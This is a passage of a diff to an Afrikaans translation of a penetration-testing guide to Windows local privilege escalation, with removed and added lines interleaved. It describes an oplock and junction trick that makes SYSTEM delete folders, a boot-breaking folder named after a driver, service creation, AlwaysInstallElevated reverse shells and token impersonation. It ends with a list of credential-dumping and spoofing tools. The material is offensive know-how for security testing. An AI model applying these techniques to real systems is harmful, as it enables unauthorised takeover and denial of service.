Stel 'n aas-vouer en lêer op +- Skep: `C:\temp\folder1` +- Binne-in dit: `C:\temp\folder1\file1.txt` 2. Stap 2: Plaas 'n **oplock** op `file1.txt` -- Die oplock **onderbreek die uitvoering** wanneer 'n bevoorregte proses probeer om `file1.txt` te verwyder. +- Die oplock **pauseer die uitvoering** wanneer 'n geprivilegieerde proses probeer om `file1.txt` te verwyder. ```c // pseudo-code RequestOplock("C:\\temp\\folder1\\file1.txt"); WaitForDeleteToTriggerOplock(); ``` -3. Stap 3: Aktiveer SYSTEM-proses (bv., `SilentCleanup`) -- Hierdie proses deursoek gidse (bv., `%TEMP%`) en probeer hul inhoud verwyder. -- Wanneer dit by `file1.txt` kom, **oplock aktiveer** en gee beheer aan jou callback. +3. Stap 3: Roep SYSTEM-proses op (bv., `SilentCleanup`) +- Hierdie proses skandeer vouers (bv., `%TEMP%`) en probeer hul inhoud verwyder. +- Wanneer dit by `file1.txt` uitkom, word die **oplock triggers** geaktiveer en word beheer aan jou callback oorhandig. 4. Stap 4: Binne die oplock callback – herlei die verwydering -- Opsie A: Verplaas `file1.txt` na 'n ander plek +- Opsie A: Skuif `file1.txt` na 'n ander plek - Dit maak `folder1` leeg sonder om die oplock te breek. -- Moet nie `file1.txt` direk verwyder nie — dit sou die oplock te vroeg vrylaat. +- Moet nie `file1.txt` direk verwyder nie — dit sou die oplock voortydig vrylaat. - Opsie B: Skakel `folder1` om in 'n **junction**: ```bash @@ -1499,124 +1534,124 @@ mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control # Make file1.txt point to a sensitive folder stream CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION") ``` -> Dit teiken die NTFS internal stream wat vouermetadata stoor — deur dit te verwyder word die vouer verwyder. +> Dit teiken die NTFS interne stroom wat vouermetadata stoor — as jy dit verwyder, verwyder jy die vouer. -5. Stap 5: Laat die oplock vry +5. Stap 5: Vrystel die oplock - SYSTEM-proses gaan voort en probeer `file1.txt` verwyder. -- Maar nou, as gevolg van die junction + symlink, word dit eintlik verwyder: +- Maar nou, as gevolg van die junction + symlink, verwyder dit eintlik: ``` C:\Config.Msi::$INDEX_ALLOCATION ``` -**Resultaat**: `C:\Config.Msi` word deur SYSTEM verwyder. +**Resultaat**: `C:\Config.Msi` word verwyder deur SYSTEM. ### Van Arbitrary Folder Create na Permanente DoS -Benut 'n primitive wat jou toelaat om **create an arbitrary folder as SYSTEM/admin** — selfs al **kan jy nie lêers skryf** of **swak toestemmings stel nie**. +Benut 'n primitive wat jou toelaat om **create an arbitrary folder as SYSTEM/admin** — selfs al kan jy nie **lêers skryf** of **swak toestemmings stel** nie. Skep 'n **gids** (nie 'n lêer nie) met die naam van 'n **kritieke Windows driver**, bv.: ``` C:\Windows\System32\cng.sys ``` -- Hierdie pad kom normaalweg ooreen met die kernel-mode driver `cng.sys`. +- Hierdie pad kom gewoonlik ooreen met die `cng.sys` kernel-mode driver. - As jy dit **vooraf as 'n vouer skep**, kan Windows nie die werklike driver tydens opstart laai nie. - Dan probeer Windows om `cng.sys` tydens opstart te laai. -- Dit sien die vouer, **slaag nie daarin om die werklike driver op te los nie**, en **stort of bring die opstart tot stilstand**. -- Daar is **geen terugvalopsie** nie, en **geen herstel** sonder eksterne ingryping nie (bv. opstartherstel of skyftetoegang). +- Dit sien die vouer, **kan nie die werklike driver oplos nie**, en **stort of stop die opstart**. +- Daar is **geen terugval** nie, en **geen herstel** sonder eksterne ingryping (bv. opstartherstel of toegang tot die skyf). -## **Van Hoë Integriteit na SYSTEM** +## **Van High Integrity na SYSTEM** ### **Nuwe diens** -As jy reeds op 'n Hoë Integriteit-proses loop, kan die **pad na SYSTEM** maklik wees deur net **'n nuwe diens te skep en uit te voer**: +As jy reeds op 'n High Integrity-proses loop, kan die **pad na SYSTEM** maklik wees deur net 'n **nuwe diens te skep en uit te voer**: ``` sc create newservicename binPath= "C:\windows\system32\notepad.exe" sc start newservicename ``` > [!TIP] -> Wanneer jy 'n service binary skep, maak seker dit is 'n geldige diens of dat die binary die nodige aksies vinnig uitvoer, anders word dit binne 20s gedood as dit nie 'n geldige diens is nie. +> Wanneer jy 'n service binary skep, maak seker dit is 'n geldige service of dat die binary die nodige aksies vinnig uitvoer, want dit sal in 20s gedood word as dit nie 'n geldige service is nie. ### AlwaysInstallElevated -Vanaf 'n High Integrity-proses kan jy probeer om die AlwaysInstallElevated registry entries te aktiveer en 'n reverse shell te installeer met 'n _**.msi**_ wrapper.\ -[Meer inligting oor die registry keys wat betrokke is en hoe om 'n _.msi_ pakket te installeer vind jy hier.](#alwaysinstallelevated) +Van 'n High Integrity proses kan jy probeer **enable the AlwaysInstallElevated registry entries** en **install** a reverse shell using a _**.msi**_ wrapper.\ +[More information about the registry keys involved and how to install a _.msi_ package here.](#alwaysinstallelevated) ### High + SeImpersonate privilege to System -**Jy kan** [**die kode hier vind**](seimpersonate-from-high-to-system.md)**.** +**You can** [**find the code here**](seimpersonate-from-high-to-system.md)**.** ### From SeDebug + SeImpersonate to Full Token privileges -As jy daardie token privileges het (waarskynlik sal jy dit in 'n reeds High Integrity-proses vind), sal jy byna enige proses kan oopmaak (nie-protected processes) met die SeDebug privilege, die token van die proses kan kopieer, en 'n ewekansige proses met daardie token kan skep.\ -Hierdie tegniek kies gewoonlik 'n proses wat as SYSTEM loop met al die token privileges (_ja, jy kan SYSTEM-prosesse vind sonder al die token privileges_).\ -**Jy kan 'n** [**voorbeeld van kode wat die voorgestelde tegniek uitvoer hier vind**](sedebug-+-seimpersonate-copy-token.md)**.** +As jy daardie token privileges het (waarskynlik sal jy dit in 'n reeds High Integrity proses vind), sal jy die SeDebug privilege kan gebruik om die proses te **open almost any process** (not protected processes), die **copy the token** van die proses te doen, en 'n **arbitrary process with that token** te skep.\ +Met hierdie tegniek word gewoonlik **selected any process running as SYSTEM with all the token privileges** (_yes, you can find SYSTEM processes without all the token privileges_).\ +**You can find an** [**example of code executing the proposed technique here**](sedebug-+-seimpersonate-copy-token.md)**.** ### **Named Pipes** -Hierdie tegniek word deur meterpreter gebruik om te escaleren in `getsystem`. Die tegniek bestaan uit die skepping van 'n pipe en dan om 'n diens te skep/misbruik om op daardie pipe te skryf. Vervolgens sal die **server** wat die pipe geskep het met die **`SeImpersonate`** privilege die token van die pipe-klant (die diens) kan impersonate en SYSTEM-privileges verkry.\ -As jy meer wil [**leer oor name pipes moet jy dit hier lees**](#named-pipe-client-impersonation).\ -As jy 'n voorbeeld wil lees van [**hoe om van high integrity na System te gaan met name pipes lees dit hier**](from-high-integrity-to-system-with-name-pipes.md). +Hierdie tegniek word deur meterpreter gebruik om in `getsystem` te escalate. Die tegniek bestaan uit **creating a pipe and then create/abuse a service to write on that pipe**. Daarna sal die **server** wat die pipe geskep het, deur gebruik te maak van die **`SeImpersonate`** privilege, die vermoë hê om die **impersonate the token** van die pipe client (die service) uit te voer en SYSTEM privileges te verkry.\ +If you want to [**learn more about name pipes you should read this**](#named-pipe-client-impersonation).\ +If you want to read an example of [**how to go from high integrity to System using name pipes you should read this**](from-high-integrity-to-system-with-name-pipes.md). ### Dll Hijacking -As jy daarin slaag om 'n dll wat deur 'n **proses** wat as **SYSTEM** loop gelaai word te **hijack**, sal jy ewekansige kode met daardie regte kan uitvoer. Daarom is Dll Hijacking ook nuttig vir hierdie soort privilege escalation, en dit is verder veel **makkelijker om van 'n High Integrity-proses te bereik** aangesien dit **write permissions** op die vouers het wat gebruik word om dlls te laai.\ -**Jy kan** [**meer leer oor Dll hijacking hier**](dll-hijacking/index.html)**.** +As jy daarin slaag om **hijack a dll** wat deur 'n **process** wat as **SYSTEM** loop gelaai word, sal jy arbitrary code met daardie permissies kan uitvoer. Daarom is Dll Hijacking ook nuttig vir hierdie tipe privilege escalation, en bo dit alles is dit veel **more easy to achieve from a high integrity process** aangesien dit **write permissions** op die vouers sal hê wat gebruik word om dlls te laai.\ +**You can** [**learn more about Dll hijacking here**](dll-hijacking/index.html)**.** -### From Administrator or Network Service to System +### **From Administrator or Network Service to System** -- https://github.com/sailay1996/RpcSsImpersonator -- https://decoder.cloud/2020/05/04/from-network-service-to-system/ -- https://github.com/decoder-it/NetworkServiceExploit +- [https://github.com/sailay1996/RpcSsImpersonator](https://github.com/sailay1996/RpcSsImpersonator) +- [https://decoder.cloud/2020/05/04/from-network-service-to-system/](https://decoder.cloud/2020/05/04/from-network-service-to-system/) +- [https://github.com/decoder-it/NetworkServiceExploit](https://github.com/decoder-it/NetworkServiceExploit) ### From LOCAL SERVICE or NETWORK SERVICE to full privs **Lees:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers) -## Meer hulp +## More help [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) -## Nuttige tools +## Useful tools -**Beste gereedskap om Windows local privilege escalation vectors te soek:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +**Beste hulpmiddel om na Windows local privilege escalation vectors te soek:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) **PS** [**PrivescCheck**](https://github.com/itm4n/PrivescCheck)\ -[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Kontroleer vir misconfigurasies en sensitiewe lêers (**[**kyk hier**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Gedetekteer.**\ -[**JAWS**](https://github.com/411Hall/JAWS) **-- Kontroleer vir sekere moontlike misconfigurasies en versamel inligting (**[**kyk hier**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\ +[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Kontroleer vir verkeerde konfigurasies en sensitiewe lêers (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Detected.**\ +[**JAWS**](https://github.com/411Hall/JAWS) **-- Kontroleer vir moontlike verkeerde konfigurasies en versamel inligting (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\ [**privesc** ](https://github.com/enjoiz/Privesc)**-- Kontroleer vir misconfigurasies**\ -[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Trek PuTTY, WinSCP, SuperPuTTY, FileZilla en RDP gestoor sessie-inligting uit. Gebruik -Thorough plaaslik.**\ -[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Trek credentials uit Credential Manager. Gedetekteer.**\ -[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Spray versamelde wagwoorde oor die domein**\ -[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh is 'n PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer en man-in-the-middle hulpmiddel.**\ +[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Ekstraheer PuTTY, WinSCP, SuperPuTTY, FileZilla, en RDP gesafede sessie-inligting. Gebruik -Thorough lokaal.**\ +[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Haal credentials uit Credential Manager. Detected.**\ +[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Versprei versamelde wagwoorde oor die domein**\ +[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh is 'n PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer en man-in-the-middle tool.**\ [**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Basiese privesc Windows enumerasie**\ -[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Soek na bekende privesc kwesbaarhede (DEPRECATED vir Watson)\ -[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Lokale kontroles **(Vereis Admin regte)** +[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Soek na bekende privesc kwetsbaarhede (DEPRECATED for Watson)\ +[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Lokale kontroles **(Need Admin rights)** **Exe** -[**Watson**](https://github.com/rasta-mouse/Watson) -- Soek na bekende privesc kwesbaarhede (moet gekompileer word met VisualStudio) ([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ -[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Enumereer die gasheer en soek na misconfigurasies (meer 'n inligtingsversamelingsinstrument as privesc) (moet gekompileer word) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ -[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Trek credentials uit baie sagteware (precompiled exe op github)**\ +[**Watson**](https://github.com/rasta-mouse/Watson) -- Soek na bekende privesc kwetsbaarhede (moet saamgestel word met VisualStudio) ([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ +[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Enumerate die host om vir verkeerde konfigurasies te soek (meer 'n gather info tool as privesc) (moet saamgestel word) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ +[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Haal credentials uit baie sagteware (precompiled exe op GitHub)**\ [**SharpUP**](https://github.com/GhostPack/SharpUp) **-- Poort van PowerUp na C#**\ -[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Kontroleer vir misconfigurasies (precompiled executable op github). Nie aanbeveel nie. Werk nie goed op Win10 nie.\ -[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Kontroleer vir moontlike misconfigurasies (exe van python). Nie aanbeveel nie. Werk nie goed op Win10 nie. +[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Kontroleer vir verkeerde konfigurasies (uitvoerbare vooraf saamgestel op GitHub). Nie aanbeveel nie. Dit werk nie goed op Win10 nie.\ +[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Kontroleer vir moontlike verkeerde konfigurasies (exe van python). Nie aanbeveel nie. Dit werk nie goed op Win10 nie. **Bat** -[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Gereedskap geskep gebaseer op hierdie post (dit benodig nie accesschk om behoorlik te werk nie, maar kan dit gebruik). +[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Instrument gebaseer op hierdie pos (dit benodig nie accesschk om behoorlik te werk nie, maar kan dit gebruik). **Local** -[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- Lees die uitset van **systeminfo** en beveel werkende exploits aan (lokale python)\ -[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- Lees die uitset van **systeminfo** en beveel werkende exploits aan (lokale python) +[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- Lees die output van **systeminfo** en beveel werkende exploits aan (lokaal python)\ +[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- Lees die output van **systeminfo** en beveel werkende exploits aan (lokaal python) **Meterpreter** _multi/recon/local_exploit_suggestor_ -Jy moet die projek compileer met die korrekte weergawe van .NET ([sien dit](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). Om die geïnstalleerde weergawe van .NET op die slagoffer-host te sien, kan jy: +Jy moet die projek kompileer met die korrekte weergawe van .NET ([see this](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). Om die geïnstalleerde weergawe van .NET op die slagoffer-host te sien kan jy doen: ``` C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line ``` @@ -1639,4 +1674,6 @@ C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the - [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html) +- [Check Point Research – Chasing the Silver Fox: Cat & Mouse in Kernel Shadows](https://research.checkpoint.com/2025/silver-fox-apt-vulnerable-drivers/) + {{#include ../../banners/hacktricks-training.md}}